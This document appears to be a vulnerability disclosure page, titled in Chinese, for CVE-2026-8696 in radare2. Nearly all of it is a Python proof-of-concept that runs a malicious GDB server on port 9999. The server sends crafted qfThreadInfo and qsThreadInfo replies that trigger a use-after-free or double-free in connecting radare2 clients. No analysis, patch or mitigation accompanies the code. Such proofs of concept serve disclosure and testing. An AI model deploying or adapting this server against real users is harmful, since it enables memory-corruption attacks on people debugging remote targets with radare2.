CVE-2026-8696 radare2 释放后重用漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-8696: Malformed GDB Server This script simulates a malicious GDB server that triggers the UAF in radare2. It sends a valid response to qfThreadInfo (allocating memory) and then an error response to qsThreadInfo (triggering the double-free). """ import socket import threading def handle_client(client_socket): try: # Basic GDB handshake client_socket.recv(1024) # Usually '+' or ack client_socket.send(b'+') while True: data = client_socket.recv(1024).decode(errors='ignore') if not data: break # Remove checksums if present for simplicity cmd = data.split('#')[0] if "qSupported" in cmd: client_socket.send(b'+') client_socket.send(b'PacketSize=1024;qXfer:features:read+;multiprocess+') elif "qfThreadInfo" in cmd: # Send a valid thread ID to trigger RDebugPid allocation client_socket.send(b'+') client_socket.send(b'm1;') # Process ID 1 elif "qsThreadInfo" in cmd: # Send error to trigger cleanup and double-free client_socket.send(b'+') client_socket.send(b'E01') # Error code elif "Hg" in cmd or "qC" in cmd: client_socket.send(b'+') client_socket.send(b'OK') else: client_socket.send(b'+') client_socket.send(b'$#00') except Exception as e: print(f"Connection closed: {e}") finally: client_socket.close() def start_server(port=9999): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(5) print(f"[*] Malicious GDB server listening on port {port}") while True: client, addr = server.accept() print(f"[*] Accepted connection from {addr[0]}:{addr[1]}") client_handler = threading.Thread(target=handle_client, args=(client,)) client_handler.start() if __name__ == "__main__": start_server()